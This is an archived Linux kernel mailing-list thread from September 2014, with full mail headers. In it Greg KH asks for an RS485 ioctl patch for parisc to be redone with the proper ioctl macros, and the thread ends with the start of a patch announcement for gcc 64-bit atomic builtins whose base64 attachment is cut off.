Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 09 20:43:23 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XRQNu-0007By-12
	for glpp-linux-parisc@plane.gmane.org; Tue, 09 Sep 2014 20:43:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752090AbaIISnV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Sep 2014 14:43:21 -0400
Original-Received: from out2-smtp.messagingengine.com ([66.111.4.26]:34055 "EHLO
	out2-smtp.messagingengine.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751948AbaIISnU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Sep 2014 14:43:20 -0400
Original-Received: from compute3.internal (compute3.nyi.internal [10.202.2.43])
	by gateway2.nyi.internal (Postfix) with ESMTP id 7599E20EFD
	for <linux-parisc@vger.kernel.org>; Tue,  9 Sep 2014 14:43:19 -0400 (EDT)
Original-Received: from frontend1 ([10.202.2.160])
  by compute3.internal (MEProxy); Tue, 09 Sep 2014 14:43:19 -0400
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=
	messagingengine.com; h=date:from:to:cc:subject:message-id
	:references:mime-version:content-type:in-reply-to; s=smtpout;
	 bh=2+mCpNtHC23TXIjroM9YXVJRoDU=; b=WhXPdHsvMAZVWTbNxGWtW3/EVYxT
	qRc21CZgRc349wQVF1ChKs/A0F8L3k1mGYa6HF7fNGm1sxpEWbN73wg/yqLxqukc
	ucrI2S6QKckCaj5PaPlhg/zyM2Wo9h0w7PoJs9534AIAHY7fT0R03bIGcQJhFfk6
	movnb+UqgXi7908=
X-Sasl-enc: P+DPCi1Qq4w1v5QP4bcmTELUwrSoFGq27XugtcJCMncu 1410288199
Original-Received: from localhost (unknown [24.22.230.10])
	by mail.messagingengine.com (Postfix) with ESMTPA id 1D5C4C0091D;
	Tue,  9 Sep 2014 14:43:19 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <1410285991-24833-1-git-send-email-ricardo.ribalda@gmail.com>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5997 gmane.linux.kernel:1783522 gmane.linux.serial:15774
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5997>

On Tue, Sep 09, 2014 at 08:06:31PM +0200, Ricardo Ribalda Delgado wrote:
> Commit: e676253b19b2d269cccf67fdb1592120a0cd0676 (serial/8250: Add
> support for RS485 IOCTLs), adds support for RS485 ioctls for 825_core on
> all the archs. Unfortunaltely the definition of TIOCSRS485 and
> TIOCGRS485 was missing on the ioctls.h file
> 
> Signed-off-by: Ricardo Ribalda Delgado <ricardo.ribalda@gmail.com>
> ---
>  arch/parisc/include/uapi/asm/ioctls.h | 2 ++
>  1 file changed, 2 insertions(+)
> 
> diff --git a/arch/parisc/include/uapi/asm/ioctls.h b/arch/parisc/include/uapi/asm/ioctls.h
> index 66719c3..3af2d02 100644
> --- a/arch/parisc/include/uapi/asm/ioctls.h
> +++ b/arch/parisc/include/uapi/asm/ioctls.h
> @@ -50,6 +50,8 @@
>  #define TCSETS2		_IOW('T',0x2B, struct termios2)
>  #define TCSETSW2	_IOW('T',0x2C, struct termios2)
>  #define TCSETSF2	_IOW('T',0x2D, struct termios2)
> +#define TIOCGRS485	0x542E
> +#define TIOCSRS485	0x542F

As David pointed out with the sparc patch, please use the proper ioctl
macros for these numbers.

Please redo all of these patches and resend.

thanks,

greg k-h
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ricardo Ribalda Delgado <ricardo.ribalda@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.serial
Subject: Re: [PATCH 1/3] parisc/uapi: Add definition of TIOC[SG]RS485
Date: Tue, 9 Sep 2014 20:46:48 +0200
Lines: 49
Approved: news@gmane.org
Message-ID: <CAPybu_3wJ+UPbnkWPFLJdne6Rz8ouUap3E1GeA9NqX=gP4fPug@mail.gmail.com>
References: <1410285991-24833-1-git-send-email-ricardo.ribalda@gmail.com> <20140909184318.GA6231@kroah.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1410288439 5429 80.91.229.3 (9 Sep 2014 18:47:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Sep 2014 18:47:19 +0000 (UTC)
Cc: "James E . J . Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	LKML <linux-kernel@vger.kernel.org>, linux-serial@vger.kernel.org
To: Greg KH <greg@kroah.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 09 20:47:12 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XRQRa-0000vT-Qd
	for glpp-linux-parisc@plane.gmane.org; Tue, 09 Sep 2014 20:47:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751977AbaIISrK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Sep 2014 14:47:10 -0400
Original-Received: from mail-ob0-f179.google.com ([209.85.214.179]:58575 "EHLO
	mail-ob0-f179.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751901AbaIISrJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Sep 2014 14:47:09 -0400
Original-Received: by mail-ob0-f179.google.com with SMTP id uz6so12358258obc.38
        for <multiple recipients>; Tue, 09 Sep 2014 11:47:08 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type;
        bh=ThhksWvd+34qykrmMYNT6/8xqvB7cjcORYOvOkEV7Cw=;
        b=0O7xqFjkH7VGJqE7W9/tWCtMHg1Lt9NTsZBnka77ZbT0/xZ7AM8Kkz8ZyBXl06A1vq
         yHhVORTzmUEh/g/QSi68PxHtS+tFiR44XGN3tTUAApS/F6whca0hDjvG27Fk/cM7Lqas
         bCo61LMBeOdu9oDpKtmcPsPb9TIalQW8gPEmRrymmmuuNBh23WcWy8zICEpnr3TvKS06
         fe5tOk/fzdkUjnALm5AHxLp2jD88H7C5zFyCIlE3XaOhBvv0TM4lks9/A/uk0gMhSDkg
         6H+5Y9Smk1RD6+zTs0VTaXvKw/eCOn15IRe4vDGYBhQq7MFMlixavbOT71ehcvHuAI9c
         KOnA==
X-Received: by 10.60.118.8 with SMTP id ki8mr41694030oeb.29.1410288428724;
 Tue, 09 Sep 2014 11:47:08 -0700 (PDT)
Original-Received: by 10.182.102.6 with HTTP; Tue, 9 Sep 2014 11:46:48 -0700 (PDT)
In-Reply-To: <20140909184318.GA6231@kroah.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5998 gmane.linux.kernel:1783526 gmane.linux.serial:15776
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5998>

Hello Greg.

 I have just resend one for sparc. Are we sure that we prefer the
macros instead of using the same value on all arches?

Thanks


On Tue, Sep 9, 2014 at 8:43 PM, Greg KH <greg@kroah.com> wrote:
> On Tue, Sep 09, 2014 at 08:06:31PM +0200, Ricardo Ribalda Delgado wrote:
>> Commit: e676253b19b2d269cccf67fdb1592120a0cd0676 (serial/8250: Add
>> support for RS485 IOCTLs), adds support for RS485 ioctls for 825_core on
>> all the archs. Unfortunaltely the definition of TIOCSRS485 and
>> TIOCGRS485 was missing on the ioctls.h file
>>
>> Signed-off-by: Ricardo Ribalda Delgado <ricardo.ribalda@gmail.com>
>> ---
>>  arch/parisc/include/uapi/asm/ioctls.h | 2 ++
>>  1 file changed, 2 insertions(+)
>>
>> diff --git a/arch/parisc/include/uapi/asm/ioctls.h b/arch/parisc/include/uapi/asm/ioctls.h
>> index 66719c3..3af2d02 100644
>> --- a/arch/parisc/include/uapi/asm/ioctls.h
>> +++ b/arch/parisc/include/uapi/asm/ioctls.h
>> @@ -50,6 +50,8 @@
>>  #define TCSETS2              _IOW('T',0x2B, struct termios2)
>>  #define TCSETSW2     _IOW('T',0x2C, struct termios2)
>>  #define TCSETSF2     _IOW('T',0x2D, struct termios2)
>> +#define TIOCGRS485   0x542E
>> +#define TIOCSRS485   0x542F
>
> As David pointed out with the sparc patch, please use the proper ioctl
> macros for these numbers.
>
> Please redo all of these patches and resend.
>
> thanks,
>
> greg k-h



-- 
Ricardo Ribalda
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ricardo Ribalda Delgado <ricardo.ribalda@gmail.com>
Newsgroups: gmane.linux.serial,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 1/3 v2] parisc/uapi: Add definition of TIOC[SG]RS485
Date: Tue,  9 Sep 2014 20:58:15 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <1410289095-3809-1-git-send-email-ricardo.ribalda@gmail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1410289110 15474 80.91.229.3 (9 Sep 2014 18:58:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Sep 2014 18:58:30 +0000 (UTC)
Cc: Ricardo Ribalda Delgado <ricardo.ribalda@gmail.com>
To: "James E . J . Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-serial@vger.kernel.org,
	Greg KH <greg@kroah.com>
Original-X-From: linux-serial-owner@vger.kernel.org Tue Sep 09 20:58:22 2014
Return-path: <linux-serial-owner@vger.kernel.org>
Envelope-to: lnx-linux-serial@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-serial-owner@vger.kernel.org>)
	id 1XRQcP-0007Mq-H4
	for lnx-linux-serial@plane.gmane.org; Tue, 09 Sep 2014 20:58:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751773AbaIIS6U (ORCPT <rfc822;lnx-linux-serial@m.gmane.org>);
	Tue, 9 Sep 2014 14:58:20 -0400
Original-Received: from mail-lb0-f173.google.com ([209.85.217.173]:61792 "EHLO
	mail-lb0-f173.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751004AbaIIS6T (ORCPT
	<rfc822;linux-serial@vger.kernel.org>);
	Tue, 9 Sep 2014 14:58:19 -0400
Original-Received: by mail-lb0-f173.google.com with SMTP id w7so4506501lbi.4
        for <multiple recipients>; Tue, 09 Sep 2014 11:58:17 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=from:to:cc:subject:date:message-id;
        bh=VonALRXN9TU7I3stl9QFa1gR0JCQROkyf1JNanfN8i8=;
        b=Xalsx7yu1FAg8qoEypxTKWIjetpNhigBoccvnMBpnpWV93yTJFZYClkEZVPMAgRqDd
         g4qtFgVJ76FE/BYpRWL8jPCArxUr0mKL7XoRn2m6rJX6BKK2S6BH6Ojh1B+30Lw9lMh/
         eH5R4mM3DH2C2PjwrAT5RKrMHnOPmeCM3a8NHZqDpaOWMD2K5RUJPzVIpp2dNiSg7iGg
         LYUVdKigs6gL2+5Hbb8lAlvTYhkuIrIt0psFFiE/7gY9WaKtd64SbXoJ9ssJJJMnOFNn
         zs9hj9Yrbpuo9P1jhe853dPw38quIO07nP1/MDP9/4ah0SpHwpnSsb4t105yXlhRPi3Y
         XZwA==
X-Received: by 10.152.26.101 with SMTP id k5mr4325489lag.74.1410289097321;
        Tue, 09 Sep 2014 11:58:17 -0700 (PDT)
Original-Received: from neopili.qtec.com (x1-6-30-46-9a-6d-3c-54.cpe.webspeed.dk. [2.108.161.190])
        by mx.google.com with ESMTPSA id m5sm4540667laa.37.2014.09.09.11.58.15
        for <multiple recipients>
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Tue, 09 Sep 2014 11:58:16 -0700 (PDT)
X-Mailer: git-send-email 2.1.0
Original-Sender: linux-serial-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-serial.vger.kernel.org>
X-Mailing-List: linux-serial@vger.kernel.org
Xref: news.gmane.org gmane.linux.serial:15777 gmane.linux.ports.parisc:5999 gmane.linux.kernel:1783533
Archived-At: <http://permalink.gmane.org/gmane.linux.serial/15777>

Commit: e676253b19b2d269cccf67fdb1592120a0cd0676 (serial/8250: Add
support for RS485 IOCTLs), adds support for RS485 ioctls for 825_core on
all the archs. Unfortunaltely the definition of TIOCSRS485 and
TIOCGRS485 was missing on the ioctls.h file

Signed-off-by: Ricardo Ribalda Delgado <ricardo.ribalda@gmail.com>
---
Changelog:

v2: By GregKH

Follow the ioctl numbering scheme used by the particular
architecture UAPI file you are editing.

 arch/parisc/include/uapi/asm/ioctls.h | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/arch/parisc/include/uapi/asm/ioctls.h b/arch/parisc/include/uapi/asm/ioctls.h
index 66719c3..b6572f0 100644
--- a/arch/parisc/include/uapi/asm/ioctls.h
+++ b/arch/parisc/include/uapi/asm/ioctls.h
@@ -50,6 +50,8 @@
 #define TCSETS2		_IOW('T',0x2B, struct termios2)
 #define TCSETSW2	_IOW('T',0x2C, struct termios2)
 #define TCSETSF2	_IOW('T',0x2D, struct termios2)
+#define TIOCGRS485	_IOR('T', 0x2E, struct serial_rs485)
+#define TIOCSRS485	_IOWR('T', 0x2F, struct serial_rs485)
 #define TIOCGPTN	_IOR('T',0x30, unsigned int) /* Get Pty Number (of pty-mux device) */
 #define TIOCSPTLCK	_IOW('T',0x31, int)  /* Lock/unlock Pty */
 #define TIOCGDEV	_IOR('T',0x32, int)  /* Get primary device node of /dev/console */
-- 
2.1.0

--
To unsubscribe from this list: send the line "unsubscribe linux-serial" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg KH <greg@kroah.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.serial
Subject: Re: [PATCH 1/3] parisc/uapi: Add definition of TIOC[SG]RS485
Date: Tue, 9 Sep 2014 11:58:52 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20140909185852.GA7037@kroah.com>
References: <1410285991-24833-1-git-send-email-ricardo.ribalda@gmail.com>
 <20140909184318.GA6231@kroah.com>
 <CAPybu_3wJ+UPbnkWPFLJdne6Rz8ouUap3E1GeA9NqX=gP4fPug@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1410289146 15842 80.91.229.3 (9 Sep 2014 18:59:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Sep 2014 18:59:06 +0000 (UTC)
Cc: "James E . J . Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	LKML <linux-kernel@vger.kernel.org>, linux-serial@vger.kernel.org
To: Ricardo Ribalda Delgado <ricardo.ribalda@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 09 20:58:59 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XRQcz-0007uN-5g
	for glpp-linux-parisc@plane.gmane.org; Tue, 09 Sep 2014 20:58:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751877AbaIIS6z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Sep 2014 14:58:55 -0400
Original-Received: from out2-smtp.messagingengine.com ([66.111.4.26]:43369 "EHLO
	out2-smtp.messagingengine.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751177AbaIIS6y (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Sep 2014 14:58:54 -0400
Original-Received: from compute3.internal (compute3.nyi.internal [10.202.2.43])
	by gateway2.nyi.internal (Postfix) with ESMTP id B641D205F9
	for <linux-parisc@vger.kernel.org>; Tue,  9 Sep 2014 14:58:53 -0400 (EDT)
Original-Received: from frontend1 ([10.202.2.160])
  by compute3.internal (MEProxy); Tue, 09 Sep 2014 14:58:53 -0400
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=
	messagingengine.com; h=date:from:to:cc:subject:message-id
	:references:mime-version:content-type:in-reply-to; s=smtpout;
	 bh=2iLcvuUCgZQrraIsW6tKwKDqmRg=; b=I0nyTcTGIKrHOrb5AX5//cJ2eXWe
	NULpV5rwjbOuztPvRWgmfH3s0872395j4hS6drw9XfcBY56zeWpnVyHgryMsQG1p
	zrk7Kgi/NwCUWhwKCK3cb7LbXKzjkPc7qf2LLDnZDRYGpqrWlTI2VD3ZCxY5dAyQ
	QdDyJ6jHD1As2o8=
X-Sasl-enc: 2GoF1qye8OfNK9937E+RxelF7v8YfUN8wIo34dH5HeL2 1410289133
Original-Received: from localhost (unknown [24.22.230.10])
	by mail.messagingengine.com (Postfix) with ESMTPA id 5C795C00918;
	Tue,  9 Sep 2014 14:58:53 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <CAPybu_3wJ+UPbnkWPFLJdne6Rz8ouUap3E1GeA9NqX=gP4fPug@mail.gmail.com>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6000 gmane.linux.kernel:1783534 gmane.linux.serial:15778
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6000>

On Tue, Sep 09, 2014 at 08:46:48PM +0200, Ricardo Ribalda Delgado wrote:
> Hello Greg.
> 
>  I have just resend one for sparc. Are we sure that we prefer the
> macros instead of using the same value on all arches?

Why would using a macro preclude the value being the same on all arches?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ricardo Ribalda Delgado <ricardo.ribalda@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.serial
Subject: Re: [PATCH 1/3] parisc/uapi: Add definition of TIOC[SG]RS485
Date: Tue, 9 Sep 2014 21:02:31 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <CAPybu_3zhVvS9WzWHsBTFOeNp0VZ2Lx0LxKgDOKoe2zxzNqcNQ@mail.gmail.com>
References: <1410285991-24833-1-git-send-email-ricardo.ribalda@gmail.com>
 <20140909184318.GA6231@kroah.com> <CAPybu_3wJ+UPbnkWPFLJdne6Rz8ouUap3E1GeA9NqX=gP4fPug@mail.gmail.com>
 <20140909185852.GA7037@kroah.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1410289562 20471 80.91.229.3 (9 Sep 2014 19:06:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Sep 2014 19:06:02 +0000 (UTC)
Cc: "James E . J . Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	LKML <linux-kernel@vger.kernel.org>, linux-serial@vger.kernel.org
To: Greg KH <greg@kroah.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Sep 09 21:05:54 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1XRQjg-00085m-PE
	for glk-linux-kernel-3@plane.gmane.org; Tue, 09 Sep 2014 21:05:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752347AbaIITCy (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 9 Sep 2014 15:02:54 -0400
Original-Received: from mail-oi0-f51.google.com ([209.85.218.51]:49819 "EHLO
	mail-oi0-f51.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751109AbaIITCw (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 9 Sep 2014 15:02:52 -0400
Original-Received: by mail-oi0-f51.google.com with SMTP id e131so3852104oig.24
        for <multiple recipients>; Tue, 09 Sep 2014 12:02:51 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type;
        bh=ZCoalaNLFV1jgSPY7Rhx7YeKuOKAs46fle81iGJEmJo=;
        b=Mk2+xLocJW7mIHc0xHIwvBCIlq8l9bFUsSktT131ueVgteqHpN8oFrBlNHQ4/t+r+z
         2smAHCp8uA6lgO2D7qSKL4jznMICzGXFJBJEMiTVC771CTFggmNvl5Bq3I3ONhe5vDvX
         X/Am35UeMZsGvNLLCEwbeEHbH71BJG7HcH6jB14JYrJ3UYBEBJ8VjLdd0ID7WoUqIfaK
         8EjhCNVdnOVbBzcAhesXbUR64o0smDn80ZPBIh8b2PYreGKiFfCyDxSK9UeOyvUoLnE/
         /Q3jR4+VYRULJ6CL2GmRWyQ92Y+Ygr7X8nZbexpgt6fKdzKa429YLLVKOLI6b3XATG5U
         Qtwg==
X-Received: by 10.60.118.8 with SMTP id ki8mr41770113oeb.29.1410289371756;
 Tue, 09 Sep 2014 12:02:51 -0700 (PDT)
Original-Received: by 10.182.102.6 with HTTP; Tue, 9 Sep 2014 12:02:31 -0700 (PDT)
In-Reply-To: <20140909185852.GA7037@kroah.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1783541 gmane.linux.ports.parisc:6001 gmane.linux.serial:15780
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1783541>

Hello Greg,

I have just resend the macros for the two other arches using the proper macros.

Thanks

On Tue, Sep 9, 2014 at 8:58 PM, Greg KH <greg@kroah.com> wrote:
> On Tue, Sep 09, 2014 at 08:46:48PM +0200, Ricardo Ribalda Delgado wrote:
>> Hello Greg.
>>
>>  I have just resend one for sparc. Are we sure that we prefer the
>> macros instead of using the same value on all arches?
>
> Why would using a macro preclude the value being the same on all arches?



-- 
Ricardo Ribalda

From - Thu Nov 08 21:10:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCHv3] Implement gcc 64bit atomic operations and fix the broken
 8/16 bit ones
Date: Fri, 12 Sep 2014 18:02:34 +0200
Lines: 412
Approved: news@gmane.org
Message-ID: <507b1e2873b0724964068ba2b4159b6d@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="=_e937cc244f4961e3d29dac717a1baec1"
X-Trace: ger.gmane.org 1410537781 3810 80.91.229.3 (12 Sep 2014 16:03:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 12 Sep 2014 16:03:01 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 12 18:02:54 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XSTJF-0000yO-LL
	for glpp-linux-parisc@plane.gmane.org; Fri, 12 Sep 2014 18:02:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751822AbaILQCw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 12 Sep 2014 12:02:52 -0400
Original-Received: from venus.vo.lu ([80.90.45.96]:65350 "EHLO venus.vo.lu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751780AbaILQCv (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 12 Sep 2014 12:02:51 -0400
Original-Received: from ibiza.lux.tuxicoman.be (UnknownHost [85.93.195.103]) by venus.vo.lu with SMTP
	(version=TLS\Tls
	cipher=Aes128 bits=128);
   Fri, 12 Sep 2014 18:02:29 +0200
Original-Received: from cartman.lux.tuxicoman.be ([2001:7e8:2221:200:224:8cff:fed3:dda9] helo=webmail.tuxicoman.be)
	by ibiza.lux.tuxicoman.be with esmtp (Exim 4.80.1)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1XSTIw-0007AQ-O9
	for linux-parisc@vger.kernel.org; Fri, 12 Sep 2014 18:02:34 +0200
X-Sender: gmsoft@tuxicoman.be
User-Agent: Roundcube Webmail/1.0.2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6002
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6002>

--=_e937cc244f4961e3d29dac717a1baec1
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=US-ASCII;
 format=flowed


Hi,

Here is the latest set of patch for the 8/16/64 bit atomic gcc builtins.

On the kernel side a new LWS is implemented allowing for variable size 
CAS.
On gcc's side, the new LWS is used for 8/16/64 bit atomic builtins, 
keeping the old LWS for 32bit ops.
Since 8 and 16 bit ops were broken, it's best to use the new LWS 
unconditionally for these.

Hopefully, these are the final patches !

Regards,
   Guy
--=_e937cc244f4961e3d29dac717a1baec1
Content-Transfer-Encoding: base64
Content-Type: text/x-diff;
 name=gcc-64bit-atomic-cas2_v3.patch
Content-Disposition: attachment;
 filename=gcc-64bit-atomic-cas2_v3.patch;
 size=13218

CjIwMTQtMDktMTIgIEd1eSBNYXJ0aW4gIDxnbXNvZnRAdHV4aWNvbWFuLmJlPgoKCSogY29uZmln
L3BhL2xpbnV4LWF0b21pYy5jOiBVc2UgbmV3IExXUyBDQVMgaW1wbGVtZW50YXRpb24gZm9yIGF0
b21pYwoJYnVpbHRpbnMuIEltcGxlbWVudCA2NGJpdCBhdG9taWMgYnVpbHRpbnMuCgoKSW5kZXg6
IGxpYmdjYy9jb25maWcvcGEvbGludXgtYXRvbWljLmMKPT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0gbGliZ2NjL2Nv
bmZpZy9wYS9saW51eC1hdG9taWMuYwkocmV2aXNpb24gMjEyOTQyKQorKysgbGliZ2NjL2NvbmZp
Zy9wYS9saW51eC1hdG9taWMuYwkod29ya2luZyBjb3B5KQpAQCAtNzUsNiArNzUsMzAgQEAKICAg
cmV0dXJuIGx3c19lcnJubzsKIH0KIAorc3RhdGljIGlubGluZSBsb25nCitfX2tlcm5lbF9jbXB4
Y2hnMiAodm9pZCAqIG9sZHZhbCwgdm9pZCAqIG5ld3ZhbCwgdm9pZCAqbWVtLCBpbnQgdmFsX3Np
